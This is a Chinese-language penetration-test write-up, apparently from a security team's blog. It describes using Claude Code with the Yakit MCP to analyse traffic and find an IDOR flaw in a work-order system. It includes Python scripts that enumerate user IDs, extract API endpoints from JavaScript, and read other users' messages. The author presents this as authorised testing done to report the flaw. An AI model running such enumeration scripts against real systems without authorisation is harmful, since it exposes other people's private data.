基于Claude Code + Yakit MCP的IDOR越权漏洞挖掘实践
辛溯川
辛溯川
N0 Fl4g
2026年6月2日 09:08
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
在授权渗透测试中,面对大量代理流量,手工逐一排查效率较低。本文记录了笔者如何借助AI辅助工具提升流量分析效率,并在此基础上通过人工判断与深入验证,最终发现IDOR越权漏洞的完整过程。
免责声明
本文所涉及的渗透测试操作,均在甲方授权范围内进行,仅用于技术交流和学习,严禁用于未授权的非法测试!违规操作后果自负,与本文作者无关。本文章已对测试过程中出现的信息均进行脱密处理。
前情提要
本次渗透测试使用的工具链为 Claude Code + Yakit MCP + GLM 5.1模型。其中Claude Code与Yakit的安装配置可参考以下资料:Claude Code安装
https://mp.weixin.qq.com/s/AA2NHww4jUBuAfi10EYICwyakit安装 官网下载安装即可
https://yaklang.com/
GLM 5.1模型模型接入使用火山引擎的Coding Plan服务。
Claude Code连接Yakit MCP
MCP连接环节可根据个人习惯选择手工配置或借助AI辅助完成。
yakit是什么
Yakit 是一款国产 Web 安全测试平台,功能定位类似于 Burp Suite。其提供的 MCP(Model Context Protocol)接口,支持通过程序化方式调用HTTP请求发送能力:
Python脚本 → 连接 Yakit SSE (127.0.0.1:11432) → 调用 http_fuzzer → 发送 HTTPS 请求 → 获取响应
核心代码模板:
# 1. 连接 Yakit SSE 端点,获取会话ID
req = urllib.request.Request('http://127.0.0.1:11432/sse')
resp = urllib.request.urlopen(req, timeout=10)
forlineinresp:
if'sessionId='inline:
sid = line.split('sessionId=')[1]
# 2. 初始化 MCP 会话
urllib.request.urlopen(Request(url, data=初始化JSON))
# 3. 调用 http_fuzzer 发送请求
urllib.request.urlopen(Request(url, data={
'name': 'http_fuzzer',
'arguments': {
'request': 'GET /api/xxx HTTP/1.1\
Host: target.com\
...',
'isHttps': True
}
}))
打开yakit mcp并进行连接
点击启用即可
在Claude Code中配置MCP连接信息。若使用的模型不支持自动连接,可手工编写连接脚本完成对接。
连接提示词参考:
我需要你连接yakit mcp 进行流量分析,已知yakit 使用SSE方式启动MCP,链接为http://127.0.0.1:11432/sse。请进行连接,遇到问题3次重复未能成功,请向我索取帮助,禁止自己无限尝试
MCP连接完成后,即可进入正式的渗透测试环节。
漏洞测试
首先,笔者对目标站点进行常规浏览操作,使Yakit代理捕获足够的流量数据,为后续分析奠定基础。
观察Yakit流量记录中的tag标签,发现大量待测试的标记项。考虑到手工逐一测试工作量较大且容易遗漏,笔者决定借助AI工具对标记流量进行批量初步筛查,再由人工对可疑结果进行逐项确认。
流量分析提示词参考:
调用query_http_flow工具分析app-*****.com这个域名tags提示,并根据提示给出测试建议,需要具体到数据包中构造的参数。
经AI辅助筛查后,初步发现若干未授权API接口漏洞,笔者逐一验证后完成提交。
随后,笔者使用甲方提供的账号凭证登录关联系统,携带认证Cookie继续深入测试,以期发现更多攻击面。
关于该系统的登录流程:用户需先通过门户网站登录,经中间中转站跳转至目标站点。笔者本计划对跳转流程进行安全审计,在AI辅助分析流量过程中发现中转站存在GraphQL内省模式开放问题,但该站点不在甲方测试范围内,故未作深入。
在审查AI返回的分析结果时,笔者注意到第三条漏洞信息提示\"用户消息未读数遍历\"。基于安全测试经验,笔者判断仅能获取未读数量这一结论值得怀疑——消息数量接口既然存在越权,消息内容接口很可能同样存在缺陷。据此,笔者决定对该方向进行深入验证。
验证结果表明,消息内容接口确实存在越权,可获取其他用户的具体消息信息。
漏洞确认后,笔者整理测试报告并完成提交。
分析链
以下详细阐述本次IDOR越权漏洞的发现与验证过程,展示从流量中发现线索到最终确认漏洞的完整分析链路。
第一步:从流量中发现线索
1.1 查询 Yakit 中的历史流量
获取目标后,首要工作是对Yakit中已记录的流量进行梳理。笔者调用 query_http_flow 接口,检索 worklist 域名的所有请求记录:
# 调用 Yakit MCP 查询流量
result = mcp_call('query_http_flow', {'keyword': 'worklist.xxxxx-bay.com', 'limit': 20})
返回结果中发现了一条关键流量:
GET /api/dtb-xxxxx/message/getUnReadTotalByReceiveId/xxxxxxxxxxxxxxxxxxx
Host: worklist.xxxxx-bay.com
Cookie: SESSION=xxxxxxxxxxxxxxxxxxx; ...
响应:
{\"code\":0,\"data\":3,\"message\":\"success\"}
解读: 该请求用于查询\"未读消息数量\"。URL中的
xxxxxxxxxxxxxxxxxxx为用户ID(receiveId),响应data:3表示该用户有3条未读消息。
1.2 识别 IDOR 风险点
凭借安全测试经验,笔者对该接口进行了风险评估:
URL 中的
receiveId直接作为路径参数传递,若服务端未校验\"当前登录用户是否为该receiveId对应的用户\",则存在IDOR越权漏洞。
类比说明: 类似于用他人的门卡号尝试开门锁——若门锁不验证\"该卡是否属于持卡人\",则任何人持任意卡号均可开门。
第二步:验证 IDOR 漏洞 - 枚举用户未读数
2.1 构造测试脚本
为验证上述判断,笔者编写测试脚本,将 receiveId 从1开始递增,验证是否可以读取其他用户的未读消息数量:
CK = 'SESSION=xxxxxxxxxxxxxxxxxxx'
foruidinrange(1, 50):
# 构造HTTP请求包,把 receiveId 替换为 uid
pkt = f'GET /api/dtb-xxxxx/message/getUnReadTotalByReceiveId/{uid} HTTP/1.1\
'\\
f'Host: worklist.xxxxx-bay.com\
'\\
f'Cookie: {CK}\
'\\
f'Connection: close\
\
'
result = single_fuzz(pkt)
body = get_body(result.get('response',''))
j = json.loads(body)
ifj.get('code') == 0andj.get('data', 0) >0:
print(f'User ID={uid}: {j[\"data\"]} unread')
2.2 测试结果
User ID=1: 4 unread
User ID=2: 17 unread
User ID=3: 9 unread
User ID=4: 14 unread
User ID=5: 13 unread
User ID=6: 6 unread
User ID=7: 11 unread
User ID=8: 33 unread
User ID=9: 1394 unread ← 某业务部门,消息量巨大
User ID=10: 51 unread
...
关键发现: receiveId 1-49 中,有 15个 返回了非零数据。这证实了IDOR漏洞存在——使用测试账号的Cookie,成功读取了其他用户的未读消息数量。
但此时仅能获取未读数量,无法查看消息的具体内容。 基于渗透测试中\"从信息泄露点向纵深推进\"的思路,笔者决定进一步验证是否存在消息内容的越权读取。
第三步:从 JS 代码中寻找消息内容接口
3.1 获取前端 SPA 页面
worklist 是一个 Vue.js 单页应用,笔者首先获取其入口 HTML,以便分析前端代码中的API调用逻辑:
pkt = f'GET /xxxxx/ HTTP/1.1\
Host: worklist.xxxxx-bay.com\
Cookie: {CK}\
Connection: close\
\
'
result = single_fuzz(pkt)
html = get_body(result.get('response',''))
在 HTML 中找到了关键 JS 文件:
<scriptsrc=\"/xxxxx/static/js/config.js\"></script>
<scriptsrc=\"/xxxxx/static/js/authing.min.js\"></script>
<scriptsrc=\"/xxxxx/static/js/sm2.js\"></script>
<scriptsrc=\"/xxxxx/chunk-vendors.1xx.js\"></script>
<scriptsrc=\"/xxxxx/app.1xx.js\"></script> ← 主应用JS
解读:
app.1xx.js是整个Vue应用的主代码文件,包含所有页面逻辑和API调用代码。config.js为配置文件,可能包含API前缀等关键信息。
3.2 分析 config.js 获取 API 前缀
pkt = f'GET /xxxxx/static/js/config.js HTTP/1.1\
Host: worklist.xxxxx-bay.com\
Connection: close\
\
'
result = single_fuzz(pkt)
返回内容:
window.CMD_CONFIG= {
root: '',
prefix: '/api/dtb-xxxxx', // ← API前缀
loginPerfix: '/api/dtb-xxxxx-jwtauthcenter', // ← 认证中心
deployDir: '/xxxxx/',
feedbackUrl: '/api/dtb-xxxxx',
orderDownload: '/api/dtb-xxxxx/orderFile/download/',
scienceOrderDownload: '/api/dtb-xxxxx/science/orderFile/download/'
}
关键信息: 所有API请求均使用
/api/dtb-xxxxx前缀,同时还暴露了文件下载路径和认证中心路径。
3.3 分析 app.js 提取完整 API 映射
app.js 体积超过1MB,笔者采用正则表达式提取其中的API端点映射:
pkt = f'GET /xxxxx/app.1xx.js HTTP/1.1\
Host: worklist.xxxxx-bay.com\
Cookie: {CK}\
Connection: close\
\
'
result = single_fuzz(pkt)
body = get_body(result.get('response',''))
# 提取所有 API 端点映射:如 \"xxxxx-message-page\":\"/message/page\"
api_pairs = re.findall(r'\"(xxxxx-[a-zA-Z0-9_-]+)\"\\s*:\\s*\"(/[^\"]+)\"', body)
在 1xx 个 API 映射中,找到了关键的消息接口:
xxxxx-message-page → /message/page
xxxxx-message-getReceiveMessages → /message/getReceiveMessages/{receiveId} ← 关键目标
xxxxx-message-getUnReadTotalByReceiveId → /message/getUnReadTotalByReceiveId/{receiveId}
xxxxx-message-setMessageReaded → /message/setMessageReaded/{msgId}
xxxxx-message-batchSetMessageReaded → /message/batchSetMessageReaded
关键发现:
/message/getReceiveMessages/{receiveId}端点的命名模式与getUnReadTotalByReceiveId完全一致——receiveId作为路径参数,无额外权限校验参数。基于已验证的越权模式,笔者判断该接口大概率存在同样的IDOR漏洞。
3.4 分析 Vue 代码中的请求体格式
在 app.js 中还发现了Vue组件调用消息分页接口的代码:
// 压缩后的JS代码(已格式化)
getSensitiveFunc: function() {
varn= {
currentPage: this.currentPage, // ← 注意:是 currentPage 不是 page
pageSize: this.pageSize, // ← 注意:是 pageSize 不是 size
queryBean: {} // ← 查询条件放在 queryBean 里
};
o[\"a\"].$post(\"xxxxx-message-page\", n) // 调用消息分页接口
}
解读: 前端代码揭示了该系统分页请求的标准格式为
{currentPage, pageSize, queryBean: {...}},而非常见的{page, size}。这也解释了此前使用{\"page\":1,\"size\":10}调用/message/page接口始终返回\"暂无指定查询条件的数据\"的原因——字段名不匹配。
第四步:验证消息内容 IDOR
4.1 测试 getReceiveMessages 端点
获得关键端点 /message/getReceiveMessages/{receiveId} 后,笔者立即进行越权验证:
# 测试 receiveId=1
pkt = f'GET /api/dtb-xxxxx/message/getReceiveMessages/1 HTTP/1.1\
'\\
f'Host: worklist.xxxxx-bay.com\
'\\
f'Cookie: {CK}\
Connection: close\
\
'
result = single_fuzz(pkt)
返回结果:
{
\"code\": 0,
\"data\": [
{
\"msgId\": 1xx,
\"receiveId\": \"1\",
\"receiveName\": \"[单位名称]\",
\"msgContent\": \"[某人员]在[日期]创建的【[工单标题]】工单分派已经超时未处理,请及时督办。\",
\"msgType\": \"[消息类型]\",
\"isReceive\": false,
\"createBy\": \"1xx\",
\"createTime\": \"[创建时间]\"
},
...
]
}
编辑 | 辛溯川
终审 | gosh
出品 | N0\_Fl4g
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论